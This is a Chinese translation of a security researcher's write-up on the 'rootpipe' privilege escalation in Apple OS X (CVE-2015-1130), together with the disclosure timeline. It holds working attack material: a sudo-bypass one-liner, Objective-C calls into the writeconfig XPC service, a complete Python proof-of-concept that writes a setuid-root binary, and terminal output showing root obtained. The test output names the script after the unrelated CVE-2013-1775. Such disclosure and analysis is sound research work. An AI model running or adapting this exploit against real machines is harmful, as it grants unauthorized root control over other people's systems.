Apple OS X系统中存在可以提升root权限的API后门

from:https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/

0x00 摘要

Apple OS X系统中的Admin框架存在可以提升root权限的API后门，并且已经存在多年（至少是从2011年开始）。我是在2014年的10月发现他可以被用来已任何用户权限提升为root权限，其本意可能是要服务“System Preferences”和systemsetup（命令行工具），但是所有的用户进程可以使用相同的功能。

苹果刚刚发布了OS X 10.10.3解决了此问题，但是OS X 10.9.x以及之前的版本存在此问题，因为苹果决定不对这些版本进行修复了。我们建议所有的用户都升级到10.10.3。

0x01 demo

我使用的第一个exp是基于CVE-2013-1775的，一个sudo认证绕过bug，这个bug已经在10.8.5（2013年9月）修复了。

exp代码非常的简单：

$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

我跟我同事Philip Åkesson聊这个exp代码实际上使用了systemsetup来修改系统时间。我们一起来看了下他修复的细节，原来除了修复了sudo，Apple也同时做了另外一件事情，他们把systemsetup设置为需要root权限，当以非root权限执行systemsetup的时候，下面的信息就会显示（在10.8.5以及之后版本）：

$ systemsetup You need administrator access to run this tool... exiting!

这个消息其实是有点误导的，以为我们实际上是在以管理员权限运行，安装OS X时候创建的用户默认就是admin权限。

总之，上面的消息表明执行该命令需要root权限，通过Hopper反汇编发现了下面的代码

OK，所以systemsetup二进制文件只是简单的检查了是否是root权限。

修改了一下函数（用setne替代sete）：取得了成功

$ systemsetup > systemsetup > type -help for help.

到目前为止，我们只是回到之前的systemsetup（10.8.5之前），你可以用systemsetup执行命令的一个例子：

$ systemsetup –setremotelogin on

这将在22端口上开启ssh服务，当然你也可以通过launchtl开启，但是launchtl需要root权限。所以这在权限上还是有很明显的区别的。

类名为RemoteServerSettings表明，有某种进程间通信可以解释为什么需要root操作执行。不过还是要提一下，通过System Preferences开启SSH服务也不需要root权限。

我发现这种权限的差异非常有趣，继续反编译systemsetup。

通过一个名字叫做[ServerSettings setRemoteLogin:]的方法实现了systemsetup中的setremotelogin命令。

函数做了一些输入检查，然后调用[InternetServices setSSHServerEnabled:]，这是在Admin框架中实现。反编译Admin框架可以看到setSSHServerEnabled并不是InternetServices接口的唯一方法，清单如下：

+[InternetServices sharedInternetServices] +[InternetServices sharedInternetServices].sSharedInternetServices -[InternetServices _netFSServerFrameworkBundle] -[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle -[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce -[InternetServices faxReceiveEnabled] -[InternetServices ftpServerEnabled] -[InternetServices httpdEnabled] -[InternetServices isFTPServerAvailable] -[InternetServices isFaxReceiveAvailable] -[InternetServices isGuestForProtocolEnabled:] -[InternetServices isHttpdAvailable] -[InternetServices isNSCProtocolAvailable:] -[InternetServices isNSCProtocolEnabled:] -[InternetServices isNSServerShuttingDown:] -[InternetServices isOpticalDiscSharingEnabled] -[InternetServices isRemoteAEServerAvailable] -[InternetServices isSSHServerAvailable] -[InternetServices nscServerCancelShutdown:refNum:] -[InternetServices nscServerShutdown:withDelay:] -[InternetServices numberOfClientsForProtocols:] -[InternetServices remoteAEServerEnabled] -[InternetServices saveNatPrefs:] -[InternetServices screensharingEnabled] -[InternetServices sendSIGHUPToEfax] -[InternetServices setFTPServerEnabled:] -[InternetServices setFaxReceiveEnabled:] -[InternetServices setGuestForProtocol:enabled:] -[InternetServices setHttpdEnabled:] -[InternetServices setInetDServiceEnabled:enabled:] -[InternetServices setNSCProtocols:enabled:] -[InternetServices setOpticalDiscSharingEnabled:] -[InternetServices setRemoteAEServerEnabled:] -[InternetServices setSSHServerEnabled:] -[InternetServices setScreensharingEnabled:] -[InternetServices sshServerEnabled] _OBJC_CLASS_$_InternetServices _OBJC_METACLASS_$_InternetServices ___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke 

一些例如setHttpdEnabled和setSSHServerEnabled共享一个辅助方法[ADMInternetServices setInetDServiceEnabled:enabled:]。

继续看Admin框架代码，发现：

代码看来是为guest账户创建一个用户特定的Apache配置文件，注意root用户是这个文件的拥有者：

$ ls -l /etc/apache2/users/ total 8 -rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

0x02 发现后门

上面截图的代码中最后一个被调用的Objective-C方法是createFileWithContents:path:attributes:

他获取一个组数组包括字节数，文件路径，文件属性。

自己代码中使用这个函数是这个样子的：

[tool createFileWithContents:data                         path:[NSString stringWithUTF8String:target]                   attributes:@{ NSFilePosixPermissions : @0777 }];

问题在于我们如何控制“tool”，再看一看开始的代码截图：

id sharedClient =     [objc_lookUpClass("WriteConfigClient") sharedClient]; id tool = [sharedClient remoteProxy];

当我尝试我自己的代码的时候，爆出error错误：

### Attempt to send message without connection! 

下面找出如何出现这个错误的：

这是检查XPC代理在我的进程中是否启动，看一下_onewayMessageDispatcher来定位初始代码：

实际初始化的地方就是authenticateUsingAuthorization方法。

这正是我想要的，给writeconfig XPC服务创建一个XPC客户端，并且这个服务是以root权限运行的。

唯一的问题就是我应该给authenticateUsingAuthorization传递什么参数，从systemsetup文件当中找到如下：

看起来[SFAuthorization authorization]可以来做触发，下面是我的新的exp：

id auth = [objc_lookUpClass("SFAuthorization") authorization]; id sharedClient =  [objc_lookUpClass("WriteConfigClient") sharedClient]; [sharedClient authenticateUsingAuthorizationSync: auth]; id tool = [sharedClient remoteProxy]; [tool createFileWithContents:data       path:[NSString stringWithUTF8String:target]       attributes:@{ NSFilePosixPermissions : @04777 }];  

文件最终创建，setuid已经设置：

-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

既然setuid已经设置并且拥有者是root，我们就有有了一个提权漏洞。

上面的代码适用于10.9及以后版本，10.7.x和10.8.x有些类文件名略不相同。

但是上面的代码仍然有一个问题，只可以在admin的权限下运行，之前提到过几乎所有的OS X用户都是admin。

最终找到一个适用所有用户使用的方法，很简单，只要把[SFAuthorization authorization]:的结果替换为发送nil到authenticateUsingAuthorizationSync。

[sharedClient authenticateUsingAuthorizationSync: nil]; 

0x03 Timeline

Oct 2nd 2014: First discovery Oct 3rd 2014: First contact with Apple Product Security Team Oct 14th 2014: Exploit code shared with Apple Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015 Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe Nov 14th 2014: Apple requested to postpone disclosure Nov 17th 2014: Release of OS X 10.10.1, also vulnerable Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X Jan 16th 2015: CVE-2015-1130 created by Apple Jan 27th 2015: Release of OS X 10.10.2, also vulnerable March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved April 1st 2015: Apple confirmed that release is coming the second week of April April 8th 2015: Release of OS X 10.10.3 April 9th 2015: Full disclosure 

0x04 EXP

######################################################## # #  PoC exploit code for rootpipe (CVE-2015-1130) # #  Created by Emil Kvarnhammar, TrueSec # #  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2 # ######################################################## import os import sys import platform import re import ctypes import objc import sys from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions from Foundation import NSAutoreleasePool def load_lib(append_path):  return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path); def use_old_api():  return re.match("^(10.7|10.8)(./d)?$", platform.mac_ver()[0]) args = sys.argv if len(args) != 3:  print "usage: exploit.py source_binary dest_binary_as_root"  sys.exit(-1) source_binary = args[1] dest_binary = os.path.realpath(args[2]) if not os.path.exists(source_binary):  raise Exception("file does not exist!") pool = NSAutoreleasePool.alloc().init() attr = NSMutableDictionary.alloc().init() attr.setValue_forKey_(04777, NSFilePosixPermissions) data = NSData.alloc().initWithContentsOfFile_(source_binary) print "will write file", dest_binary if use_old_api():  adm_lib = load_lib("/Admin.framework/Admin")  Authenticator = objc.lookUpClass("Authenticator")  ToolLiaison = objc.lookUpClass("ToolLiaison")  SFAuthorization = objc.lookUpClass("SFAuthorization")  authent = Authenticator.sharedAuthenticator()  authref = SFAuthorization.authorization()  # authref with value nil is not accepted on OS X <= 10.8  authent.authenticateUsingAuthorizationSync_(authref)  st = ToolLiaison.sharedToolLiaison()  tool = st.tool()  tool.createFileWithContents_path_attributes_(data, dest_binary, attr) else:  adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")  WriteConfigClient = objc.lookUpClass("WriteConfigClient")  client = WriteConfigClient.sharedClient()  client.authenticateUsingAuthorizationSync_(None)  tool = client.remoteProxy()  tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0) print "Done!" del pool 

0x05 测试

[test@test:~]$ cp /bin/bash bashceshi [test@test:~]$ python CVE-2013-1775.py bashceshi bashroot will write file /Users/test/Downloads/bashroot Done! [test@test:~]$ ./bashroot -p bashroot-3.2# id uid=501(test) gid=20(staff) euid=0(root) groups=20(staff),501(access_bpf),402(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh)